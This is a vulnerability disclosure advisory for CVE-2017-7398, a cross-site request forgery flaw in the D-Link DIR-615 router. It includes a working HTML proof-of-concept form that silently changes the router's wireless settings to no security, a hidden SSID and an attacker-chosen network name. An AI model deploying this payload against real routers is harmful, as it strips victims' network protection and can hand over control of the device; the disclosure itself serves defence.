Title:
====

D-Link DIR 615 HW: T1 FW:20.09 is vulnerable to Cross-Site Request Forgery (CSRF) vulnerability

 

Credit:
======

Name: Pratik S. Shah

 

Reference:
=========

CVE Details: CVE-2017-7398.

 

Date:
====

1-04-2017

 

Vendor:
======

D-Link wireless router

 

Product:
=======

DIR-615 


http://www.dlink.co.in/products/?pid=678


Affected Version:
=============

Hardware: T1 , Firmware: 20.09

 

Abstract:
=======

This enables an attacker to perform an unwanted action on a wireless router for which the user/admin is currently authenticated.

 

Attack Type:
===================

Remote

 

Details:
=========

CSRF vulnerability in D-link DIR 615 wireless router enables an attacker to perform unwanted actions on router, which may lead to gaining full control of the device. 

 

Proof Of Concept:
================

1) User login to D-link DIR 615 wireless router

2) User visits the attacker's malicious web page (DlinkCSRF.html)

3) DlinkCSRF.html exploits CSRF vulnerability and changes the Security Options to None

 

This is the CSRF POC for changing the Security option from WPA2 to None( Parameter: Method)

Attacker can also tamper following parameters

    hiddenSSID
    SSID
    Passwords for all the applicable security options

 

 

<html>

  <!-- CSRF PoC - D-link DIR 615 HW:T1 FW:20.09  -->

  <body>

    <form action="http://192.168.0.1/form2WlanBasicSetup.cgi" method="POST">

      <input type="hidden" name="domain" value="1" />

      <input type="hidden" name="hiddenSSID" value="on" />

      <input type="hidden" name="ssid" value=“Hacked” />

      <input type="hidden" name="band" value="10" />

      <input type="hidden" name="chan" value="0" />

      <input type="hidden" name="chanwid" value="1" />

      <input type="hidden" name="txRate" value="0" />

      <input type="hidden" name="method&#95;cur" value="6" />

      <input type="hidden" name="method" value="0" />

      <input type="hidden" name="authType" value="1" />

      <input type="hidden" name="length" value="1" />

      <input type="hidden" name="format" value="2" />

      <input type="hidden" name="defaultTxKeyId" value="1" />

      <input type="hidden" name="key1" value="0000000000" />

      <input type="hidden" name="pskFormat" value="0" />

      <input type="hidden" name="pskValue" value=“CSRF@test” />

      <input type="hidden" name="checkWPS2" value="1" />

      <input type="hidden" name="save" value="Apply" />

      <input type="hidden" name="basicrates" value="15" />

      <input type="hidden" name="operrates" value="4095" />

      <input type="hidden" name="submit&#46;htm&#63;wlan&#95;basic&#46;htm" value="Send" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

 

Disclosure Timeline:
======================================
Vendor Notification: 6th March 2017